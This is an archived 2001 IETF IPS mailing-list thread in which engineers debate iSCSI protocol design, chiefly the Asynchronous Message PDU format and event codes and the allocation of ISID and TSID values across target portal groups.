usage, it puts the HBAs into different portal groups and gives up this failover ability as a consequence, and that's the case independent of whether ISIDs exist or not. > For all the above no to happen we have to add some management somewhere and > it looks to me that the current scheme is simpler than a target centric one > as it keeps the allocation and release of numbers at the same end. I'm sorry, that doesn't parse for me. It looks like the same sort of mechanism is being put into both initiators and targets for symmetry, without considering whether two instances of the mechanism are actually necessary. In a target-centric scheme, the target is doing the "allocation and release" of numbers. The target does have to be careful about not aggressively reusing TSID values, when there's potentially recoverable state around (or the initiators may think that there's state to be recovered even though the target's lost it all in a reboot), but recall that aggressive reuse of ISIDs is what created the Option A/B/C mess (and not aggressively reusing ISIDs would make that easier to solve). I don't understand how two instances of similar mechanisms is "simpler" than one. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Tue Sep 11 07:24:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03144 for ; Tue, 11 Sep 2001 07:24:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8B9Hgr06352 for ips-outgoing; Tue, 11 Sep 2001 05:17:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8B9HWP06342 for ; Tue, 11 Sep 2001 05:17:32 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id LAA44338 for ; Tue, 11 Sep 2001 11:17:10 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8B9H9934474 for ; Tue, 11 Sep 2001 11:17:09 +0200 Importance: Normal Subject: Re: iSCSI: Async events - SCSI and iSCSI To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 11 Sep 2001 12:16:19 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 11/09/2001 12:17:09 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Mark, Vendor specific is wide enough to accomodate both what you want (text) or what some others might want - a binary log, some traces etc. How about the following: 1.1 Asynchronous Message An Asynchronous Message may be sent from the target to the initiator without corresponding to a particular command. The target specifies the status and reason for the event and sense data. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|1|1| 0x32 |1| Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| LUN | + + 12| | +---------------+---------------+---------------+---------------+ 16/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 24| StatSN | +---------------+---------------+---------------+---------------+ 28| ExpCmdSN | +---------------+---------------+---------------+---------------+ 32| MaxCmdSN | +---------------+---------------+---------------+---------------+ 36| AsyncEvent | AsyncVCode | Parameter1 or Reserved | +---------------+---------------+---------------+---------------+ 40| Parameter2 or Reserved | Parameter3 or Reserved | +---------------+---------------+---------------+---------------+ 44| Reserved | +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment - Sense Data or iSCSI Event Data / +/ / +---------------+---------------+---------------+---------------+ Some Asynchronous Messages are strictly related to iSCSI while others are related to SCSI [SAM2]. Please note that StatSN counts this PDU as an acknowledgeable event, allowing initiator and target state synchronization. 1.1.1 AsyncEvent The codes used for iSCSI Asynchronous Messages (Events) are: 0 A SCSI Asynchronous Event is reported in the sense data. Sense Data that accompanies the report, in the data segment, identifies the condition. Sending of a SCSI Event (Asynchronous Event Notification in SCSI terminology) is controlled by a SCSI Control Mode Page bit. 1 Target requests Logout. This Async Message MUST be sent on the same connection as the one being requested to be logged out. Initiator MUST honor this request by issuing a Logout as early as possible, but no later than Parameter3 seconds. Initiator MUST send a Logout with a reason code of "Close the connection" to cleanly shutdown the connection. If the initiator does not Logout in Parameter3 seconds, the target should send an Async PDU with iSCSI event code "Dropped the connection" if possible, or simply terminate the transport connection. Parameter1 and Parameter2 are reserved. 2 Target indicates it will drop the connection. The Parameter1 field indicates on what CID the connection will dropped. The Parameter2 field indicates, in seconds, the minimum time to wait before attempting to reconnect. Parameter3 indicates the maximum time to reconnect and/or restart commands after the initial wait (Parameter2). If the initiator does not attempt to reconnect and/or restart the outstanding commands, within the time specified by Parameter3 or, if Parameter3 is 0, the target will terminate all outstanding commands on this connection, no other responses should be expected from the target for the outstanding commands on this connection. A value of 0 for Parameter2 indicates that reconnect can be attempted immediately. 3 Target indicates it will drop all the connections of this session. The Parameter2 field indicates, in seconds, the minimum time to wait before attempting to reconnect. The Parameter3 field indicates the maximum time to reconnect and restart commands after the initial wait (Parameter2). If the initiator does not attempt to reconnect within the time specified by Parameter 3 or, if Parameter 3 is 0, the session is terminated. In this case, the target will terminate all outstanding commands in this session; no other responses should be expected from the target for the outstanding commands in this session. A value of 0 for Parameter2 indicates that reconnect can be attempted immediately. 255 Vendor specific iSCSI Event. The AsyncVCode details the vendor code and data MAY accompany the report. All other event codes are reserved. 1.1.2 AsyncVCode AsyncVCode is a vendor specific detail code valid only if the AsyncEvent field indicates a vendor specific event. Otherwise it is reserved. 1.1.3 Sense Data or iSCSI Event Data For a SCSI Event this is the data that accompanies the report, in the data segment, identifies the condition. For an iSCSI Event additional data that MAY accompany the report Mark Bakke @cisco.com on 10-09-2001 16:40:39 Please respond to Mark Bakke Sent by: mbakke@cisco.com To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: Re: iSCSI: Async events - SCSI and iSCSI Julian- I like this one a lot better. How about adding one more event: 4 Target is sending a vendor-specific event message. The message and its parameters are indicated in the data segment as a series of text keys and values, in the same format used by the text commands and responses. This would allow an initiator and target to negotiate the sending of an implementation-specific (or experimental) async message, without using reserved AsyncEvent values. -- Mark Julian Satran wrote: > > OK Mark - How about: > > 1.1 Asynchronous Message > > An Asynchronous Message may be sent from the target to the initiator > without corresponding to a particular command. The target specifies the > status and reason for the event and sense data. > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x32 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| LUN | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| AsyncEvent | Reserved | Parameter1 or Reserved | > +---------------+---------------+---------------+---------------+ > 40| Parameter2 or Reserved | Parameter3 or Reserved | > +---------------+---------------+---------------+---------------+ > 44| Reserved | > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment - Sense Data or iSCSI Event Data / > +/ / > +---------------+---------------+---------------+---------------+ > > Some Asynchronous Messages are strictly related to iSCSI while others > are related to SCSI [SAM2]. > > Please note that StatSN counts this PDU as an acknowledgeable event, > allowing initiator and target state synchronization. > > 1.1.1 AsyncEvent > > The codes used for iSCSI Asynchronous Messages (Events) are: > > 0 A SCSI Asynchronous Event is reported in the sense data. Sense > Data that accompanies the report, in the data segment, identifies the > condition. Sending of a SCSI Event (Asynchronous Event Notification > in SCSI terminology) is controlled by a SCSI Control Mode Page bit. > 1 Target requests Logout. This Async Message MUST be sent on the > same connection as the one being requested to be logged out. > Initiator MUST honor this request by issuing a Logout as early as > possible, but no later than Parameter3 seconds. Initiator MUST send > a Logout with a reason code of "Close the connection" to cleanly > shutdown the connection. If the initiator does not Logout in > Parameter3 seconds, the target should send an Async PDU with iSCSI > event code "Dropped the connection" if possible, or simply terminate > the transport connection. Parameter1 and Parameter2 are reserved. > 2 Target indicates it will drop the connection. > The Parameter1 field indicates on what CID the connection will > dropped. > The Parameter2 field indicates, in seconds, the minimum time to wait > before attempting to reconnect. > Parameter3 indicates the maximum time to reconnect and/or restart > commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect and/or restart the > outstanding commands, within the time specified by Parameter3 or, if > Parameter3 is 0, the target will terminate all outstanding commands > on this connection, no other responses should be expected from the > target for the outstanding commands on this connection. > A value of 0 for Parameter2 indicates that reconnect can be attempted > immediately. > 3 Target indicates it will drop all the connections of this > session. > The Parameter2 field indicates, in seconds, the minimum time to wait > before attempting to reconnect. > The Parameter3 field indicates the maximum time to reconnect and > restart commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect within the time > specified by Parameter 3 or, if Parameter 3 is 0, the session is > terminated. In this case, the target will terminate all outstanding > commands in this session; no other responses should be expected from > the target for the outstanding commands in this session. A value of > 0 for Parameter2 indicates that reconnect can be attempted > immediately. > 255 Vendor specific iSCSI Event - additional data MAY accompany the > report. > > All other event codes are reserved. > > 1.1.2 Sense Data or iSCSI Event Data > > For a SCSI Event this is the data that accompanies the report, in the > data segment, identifies the condition. > > For an iSCSI Event additional data that MAY accompany the report > > Mark Bakke @ece.cmu.edu on 07-09-2001 18:54:22 > > Please respond to Mark Bakke > > Sent by: owner-ips@ece.cmu.edu > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iSCSI: Async events - SCSI and iSCSI > > Julian- > > I'd like to see them separate for two reasons: > > - iSCSI and SCSI-level events are typically orthogonal, so they > probably won't usually end up being combined anyway. It would > be simpler for both the target and the initiator to not attempt > to combine them. > > - Since the SCSI-level events use the data portion of the message > for sense data, that leave iSCSI events without any way to send > data of their own if there is a possibility of combining the > two. By keeping them separate, iSCSI could use the data portion > for text keys. In fact, Parameters 1, 2, and 3 might have been > easier to describe had they been communicated using text keys; > the processing of async messages is not a performance-critical > thing anyway. > > That's about it. A target could send both in one message, but since > the desire to do this is probably an end case (a small percentage > of async messages might combine both), there's no reason why we > can't just have the target send two messages, and we end up with > a simpler, and for iSCSI events, more flexible, implementation for > both the initiator and target. > > Anyway, I think that if we are going for a clear separation between > SCSI and iSCSI events, that it's even clearer if they are always > sent in separate messages. > > Thanks, > > Mark > > Julian Satran wrote: > > > > Mark, > > > > As far as I recall it is not by chance. When we decided to go for a clear > > separation of SCSI and iSCSI events > > I saw no reason why a target will not want to send both, if it had them, > in > > one message. > > Is there something I am missing? Obviously this runs against your later > > request for text async messages. > > > > Julo > > > > Mark Bakke @ece.cmu.edu on 05-09-2001 23:09:12 > > > > Please respond to Mark Bakke > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: IPS > > cc: > > Subject: iSCSI: Async events - SCSI and iSCSI > > > > Julian- > > > > I was looking at Async Message some more, and noticed that there > > is nothing to stop a target from sending a message that includes > > both iSCSI and SCSI events, since each of these are communicated > > with a different set of fields. I would guess that this is not > > what is intended, and that the target ought to send one or the other. > > > > Can we add some text to say: > > > > A target may send this message as either a SCSI Event or an > > iSCSI Event, but not both. Either the SCSI Event or iSCSI > > Event field MUST be zero. > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 11 10:51:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA09636 for ; Tue, 11 Sep 2001 10:51:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8BDKV717733 for ips-outgoing; Tue, 11 Sep 2001 09:20:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8BDKTP17729 for ; Tue, 11 Sep 2001 09:20:29 -0400 (EDT) Received: from cisco.com (58509@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id JAA09302; Tue, 11 Sep 2001 09:20:18 -0400 (EDT) Message-ID: <3B9E0DBE.6D0DB457@cisco.com> Date: Tue, 11 Sep 2001 08:12:30 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: iSCSI: Async events - SCSI and iSCSI References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian- That looks great. Thanks, Mark Julian Satran wrote: > > Mark, > > Vendor specific is wide enough to accomodate both what you want (text) or > what some others might want > - a binary log, some traces etc. > > How about the following: > > 1.1 Asynchronous Message > > An Asynchronous Message may be sent from the target to the initiator > without corresponding to a particular command. The target specifies the > status and reason for the event and sense data. > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x32 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| LUN | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| AsyncEvent | AsyncVCode | Parameter1 or Reserved | > +---------------+---------------+---------------+---------------+ > 40| Parameter2 or Reserved | Parameter3 or Reserved | > +---------------+---------------+---------------+---------------+ > 44| Reserved | > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment - Sense Data or iSCSI Event Data / > +/ / > +---------------+---------------+---------------+---------------+ > > Some Asynchronous Messages are strictly related to iSCSI while others > are related to SCSI [SAM2]. > > Please note that StatSN counts this PDU as an acknowledgeable event, > allowing initiator and target state synchronization. > > 1.1.1 AsyncEvent > > The codes used for iSCSI Asynchronous Messages (Events) are: > > 0 A SCSI Asynchronous Event is reported in the sense data. Sense > Data that accompanies the report, in the data segment, identifies the > condition. Sending of a SCSI Event (Asynchronous Event Notification > in SCSI terminology) is controlled by a SCSI Control Mode Page bit. > 1 Target requests Logout. This Async Message MUST be sent on the > same connection as the one being requested to be logged out. > Initiator MUST honor this request by issuing a Logout as early as > possible, but no later than Parameter3 seconds. Initiator MUST send > a Logout with a reason code of "Close the connection" to cleanly > shutdown the connection. If the initiator does not Logout in > Parameter3 seconds, the target should send an Async PDU with iSCSI > event code "Dropped the connection" if possible, or simply terminate > the transport connection. Parameter1 and Parameter2 are reserved. > 2 Target indicates it will drop the connection. > The Parameter1 field indicates on what CID the connection will > dropped. > The Parameter2 field indicates, in seconds, the minimum time to wait > before attempting to reconnect. > Parameter3 indicates the maximum time to reconnect and/or restart > commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect and/or restart the > outstanding commands, within the time specified by Parameter3 or, if > Parameter3 is 0, the target will terminate all outstanding commands > on this connection, no other responses should be expected from the > target for the outstanding commands on this connection. > A value of 0 for Parameter2 indicates that reconnect can be attempted > immediately. > 3 Target indicates it will drop all the connections of this > session. > The Parameter2 field indicates, in seconds, the minimum time to wait > before attempting to reconnect. > The Parameter3 field indicates the maximum time to reconnect and > restart commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect within the time > specified by Parameter 3 or, if Parameter 3 is 0, the session is > terminated. In this case, the target will terminate all outstanding > commands in this session; no other responses should be expected from > the target for the outstanding commands in this session. A value of > 0 for Parameter2 indicates that reconnect can be attempted > immediately. > 255 Vendor specific iSCSI Event. The AsyncVCode details the vendor > code and data MAY accompany the report. > > All other event codes are reserved. > > 1.1.2 AsyncVCode > > AsyncVCode is a vendor specific detail code valid only if the AsyncEvent > field indicates a vendor specific event. Otherwise it is reserved. > > 1.1.3 Sense Data or iSCSI Event Data > > For a SCSI Event this is the data that accompanies the report, in the > data segment, identifies the condition. > > For an iSCSI Event additional data that MAY accompany the report > > Mark Bakke @cisco.com on 10-09-2001 16:40:39 > > Please respond to Mark Bakke > > Sent by: mbakke@cisco.com > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iSCSI: Async events - SCSI and iSCSI > > Julian- > > I like this one a lot better. How about adding one more event: > > 4 Target is sending a vendor-specific event message. The message > and its parameters are indicated in the data segment as a series > of text keys and values, in the same format used by the text > commands and responses. > > This would allow an initiator and target to negotiate the sending > of an implementation-specific (or experimental) async message, > without using reserved AsyncEvent values. > > -- > Mark > > Julian Satran wrote: > > > > OK Mark - How about: > > > > 1.1 Asynchronous Message > > > > An Asynchronous Message may be sent from the target to the initiator > > without corresponding to a particular command. The target specifies > the > > status and reason for the event and sense data. > > > > Byte / 0 | 1 | 2 | 3 | > > / | | | | > > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > > +---------------+---------------+---------------+---------------+ > > 0|1|1| 0x32 |1| Reserved | > > +---------------+---------------+---------------+---------------+ > > 4| Reserved | DataSegmentLength | > > +---------------+---------------+---------------+---------------+ > > 8| LUN | > > + + > > 12| | > > +---------------+---------------+---------------+---------------+ > > 16/ Reserved / > > +/ / > > +---------------+---------------+---------------+---------------+ > > 24| StatSN | > > +---------------+---------------+---------------+---------------+ > > 28| ExpCmdSN | > > +---------------+---------------+---------------+---------------+ > > 32| MaxCmdSN | > > +---------------+---------------+---------------+---------------+ > > 36| AsyncEvent | Reserved | Parameter1 or Reserved | > > +---------------+---------------+---------------+---------------+ > > 40| Parameter2 or Reserved | Parameter3 or Reserved | > > +---------------+---------------+---------------+---------------+ > > 44| Reserved | > > +---------------+---------------+---------------+---------------+ > > 48| Digests if any... | > > +---------------+---------------+---------------+---------------+ > > / DataSegment - Sense Data or iSCSI Event Data / > > +/ / > > +---------------+---------------+---------------+---------------+ > > > > Some Asynchronous Messages are strictly related to iSCSI while others > > are related to SCSI [SAM2]. > > > > Please note that StatSN counts this PDU as an acknowledgeable event, > > allowing initiator and target state synchronization. > > > > 1.1.1 AsyncEvent > > > > The codes used for iSCSI Asynchronous Messages (Events) are: > > > > 0 A SCSI Asynchronous Event is reported in the sense data. Sense > > Data that accompanies the report, in the data segment, identifies > the > > condition. Sending of a SCSI Event (Asynchronous Event Notification > > in SCSI terminology) is controlled by a SCSI Control Mode Page bit. > > 1 Target requests Logout. This Async Message MUST be sent on the > > same connection as the one being requested to be logged out. > > Initiator MUST honor this request by issuing a Logout as early as > > possible, but no later than Parameter3 seconds. Initiator MUST > send > > a Logout with a reason code of "Close the connection" to cleanly > > shutdown the connection. If the initiator does not Logout in > > Parameter3 seconds, the target should send an Async PDU with iSCSI > > event code "Dropped the connection" if possible, or simply > terminate > > the transport connection. Parameter1 and Parameter2 are reserved. > > 2 Target indicates it will drop the connection. > > The Parameter1 field indicates on what CID the connection will > > dropped. > > The Parameter2 field indicates, in seconds, the minimum time to > wait > > before attempting to reconnect. > > Parameter3 indicates the maximum time to reconnect and/or restart > > commands after the initial wait (Parameter2). > > If the initiator does not attempt to reconnect and/or restart the > > outstanding commands, within the time specified by Parameter3 or, > if > > Parameter3 is 0, the target will terminate all outstanding commands > > on this connection, no other responses should be expected from the > > target for the outstanding commands on this connection. > > A value of 0 for Parameter2 indicates that reconnect can be > attempted > > immediately. > > 3 Target indicates it will drop all the connections of this > > session. > > The Parameter2 field indicates, in seconds, the minimum time to > wait > > before attempting to reconnect. > > The Parameter3 field indicates the maximum time to reconnect and > > restart commands after the initial wait (Parameter2). > > If the initiator does not attempt to reconnect within the time > > specified by Parameter 3 or, if Parameter 3 is 0, the session is > > terminated. In this case, the target will terminate all outstanding > > commands in this session; no other responses should be expected > from > > the target for the outstanding commands in this session. A value > of > > 0 for Parameter2 indicates that reconnect can be attempted > > immediately. > > 255 Vendor specific iSCSI Event - additional data MAY accompany the > > report. > > > > All other event codes are reserved. > > > > 1.1.2 Sense Data or iSCSI Event Data > > > > For a SCSI Event this is the data that accompanies the report, in the > > data segment, identifies the condition. > > > > For an iSCSI Event additional data that MAY accompany the report > > > > Mark Bakke @ece.cmu.edu on 07-09-2001 18:54:22 > > > > Please respond to Mark Bakke > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: Julian Satran/Haifa/IBM@IBMIL > > cc: ips@ece.cmu.edu > > Subject: Re: iSCSI: Async events - SCSI and iSCSI > > > > Julian- > > > > I'd like to see them separate for two reasons: > > > > - iSCSI and SCSI-level events are typically orthogonal, so they > > probably won't usually end up being combined anyway. It would > > be simpler for both the target and the initiator to not attempt > > to combine them. > > > > - Since the SCSI-level events use the data portion of the message > > for sense data, that leave iSCSI events without any way to send > > data of their own if there is a possibility of combining the > > two. By keeping them separate, iSCSI could use the data portion > > for text keys. In fact, Parameters 1, 2, and 3 might have been > > easier to describe had they been communicated using text keys; > > the processing of async messages is not a performance-critical > > thing anyway. > > > > That's about it. A target could send both in one message, but since > > the desire to do this is probably an end case (a small percentage > > of async messages might combine both), there's no reason why we > > can't just have the target send two messages, and we end up with > > a simpler, and for iSCSI events, more flexible, implementation for > > both the initiator and target. > > > > Anyway, I think that if we are going for a clear separation between > > SCSI and iSCSI events, that it's even clearer if they are always > > sent in separate messages. > > > > Thanks, > > > > Mark > > > > Julian Satran wrote: > > > > > > Mark, > > > > > > As far as I recall it is not by chance. When we decided to go for a > clear > > > separation of SCSI and iSCSI events > > > I saw no reason why a target will not want to send both, if it had > them, > > in > > > one message. > > > Is there something I am missing? Obviously this runs against your later > > > request for text async messages. > > > > > > Julo > > > > > > Mark Bakke @ece.cmu.edu on 05-09-2001 23:09:12 > > > > > > Please respond to Mark Bakke > > > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: IPS > > > cc: > > > Subject: iSCSI: Async events - SCSI and iSCSI > > > > > > Julian- > > > > > > I was looking at Async Message some more, and noticed that there > > > is nothing to stop a target from sending a message that includes > > > both iSCSI and SCSI events, since each of these are communicated > > > with a different set of fields. I would guess that this is not > > > what is intended, and that the target ought to send one or the other. > > > > > > Can we add some text to say: > > > > > > A target may send this message as either a SCSI Event or an > > > iSCSI Event, but not both. Either the SCSI Event or iSCSI > > > Event field MUST be zero. > > > > > > -- > > > Mark A. Bakke > > > Cisco Systems > > > mbakke@cisco.com > > > 763.398.1054 > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 11 11:01:40 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09749 for ; Tue, 11 Sep 2001 11:01:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8BDVFo18328 for ips-outgoing; Tue, 11 Sep 2001 09:31:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lmoxch04.veritas.com (london-bridge.east.veritas.com [207.30.27.2]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8BDVCP18322 for ; Tue, 11 Sep 2001 09:31:12 -0400 (EDT) Received: by LMOXCH04 with Internet Mail Service (5.5.2653.19) id ; Tue, 11 Sep 2001 09:28:09 -0400 Message-ID: <8BE017CC8923D511A00A0008C78605EE7A804E@LMOXCH04> From: David Dillard To: "'Martin, Nick'" Cc: "'ips@ece.cmu.edu'" Subject: RE: iSCSI: login issue - partial consensus call Date: Tue, 11 Sep 2001 09:28:05 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Not to turn this into a Microsoft Windows driver reflector but... > There are a number of conditions which can cause this information > to be incorrect. (As an example two different controller models > supported by the same driver will each be treated as instance 0 > and get the same command line.) There is a documented way of handling this issue. See KB article Q133706. I believe there is a much larger issue, that you brought up in a later posting: that miniports cannot legally, and perhaps illegally, use the registry access routines. David From owner-ips@ece.cmu.edu Tue Sep 11 12:45:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12794 for ; Tue, 11 Sep 2001 12:45:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8BFcuN26644 for ips-outgoing; Tue, 11 Sep 2001 11:38:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8BFcsP26636 for ; Tue, 11 Sep 2001 11:38:54 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA53906 for ; Tue, 11 Sep 2001 11:36:37 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8BFcqV64946 for ; Tue, 11 Sep 2001 09:38:52 -0600 Importance: Normal Subject: RE: iSCSI: ISIDs To: "Julian Satran" Cc: ips@ece.cmu.edu From: "Jim Hafner" Date: Tue, 11 Sep 2001 08:38:50 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/11/2001 08:38:51 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Julo, I think you're interpretation isn't quite correct (at least as I've proposed the model). Your definition of the Target Portal Groups is correct with respect to the iSCSI model except that they are not necessarily physical entities - e.g., I could have one or more target portal groups which are strictly software constructs. In the mapping to SAM-2, the Target Portal Groups are associated to the SCSI target ports and an I_T nexus then must have a relationship to a named Target Portal Group (the T). It only be "recreated" with the same "I" and the same "T". However, as I indicated in the other note, Target Portal Groups are still only logical entities (as are the nics that hold ipaddresses). So, the tight relationship to a physical component need not be rigid and fundamentally, the recovery you want is possible, though it isn't trivial. Jim Hafner Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/11/2001 01:14:34 am Sent by: owner-ips@ece.cmu.edu To: Jim Hafner/Almaden/IBM@IBMUS cc: "ips" Subject: RE: iSCSI: ISIDs Jim, For reason that must be evident by now we are then attacking the wrong issue. Multi HBA targets are/will be common and not I was under the impression that the persistent items are related to the initiator-name+ISID (the draft states it in more than one place) and we can recapture them at any target port. If that is not so HA will have another hurdle to handle and an ugly one at that. My impression when reading the model was that portal groups are (the physical entity) are there to let us know which HBA elements are there that are willing to coordinate between then things that have to be coordinated within a session and that the target will create an I_T nexus that logically inherits everything based on IName+ISID regardless of the TSID it assigns for local uniqueness. As an I_T nexus is a logical entity we can still map it to a session and the SAM model is preserved. Julo Jim Hafner@IBMUS 10-09-2001 18:35 To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: From: Jim Hafner/Almaden/IBM@IBMUS Subject: RE: iSCSI: ISIDs (Document link: Julian Satran - Mail) Julo, Unfortunately, the way things are modeled now, it is impossible to recreate a session on a different target portal group and inherit all the same properties. The reason is that at least some of the properties are bound to the I_T nexus and the "T" is the portal group. If you request a change to a different portal group, you've changed the "T" and so an equivalent nexus cannot be built. With what we have today, I can claim to a different target portal group that I'm the same "I" in a previous I_T nexus, but that's about all. (And there-in lies the root of the "reservations kicker"!). Jim Hafner Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/10/2001 02:05:33 am Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs David, This relatively complicated and hard to discuss on the mailing list. During a flight I made a summaryY. allocating to vendors is not a good idea and failover of an entire session should be possible between portl groups. Portal groups are meant to delimit connections that cooperate within a session. If a session on PGa goes away you may want to reinstate a session on PG b ineriting the same properties. There is nothing to prevent you now to do it (and that is good). The ID splitting can get a bit skewed. The same will happend whatever sheme you choose and vendors certianly don't have to get involved. Julo Black_David@emc.com on 10-09-2001 09:16:39 Please respond to Black_David@emc.com To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs One more 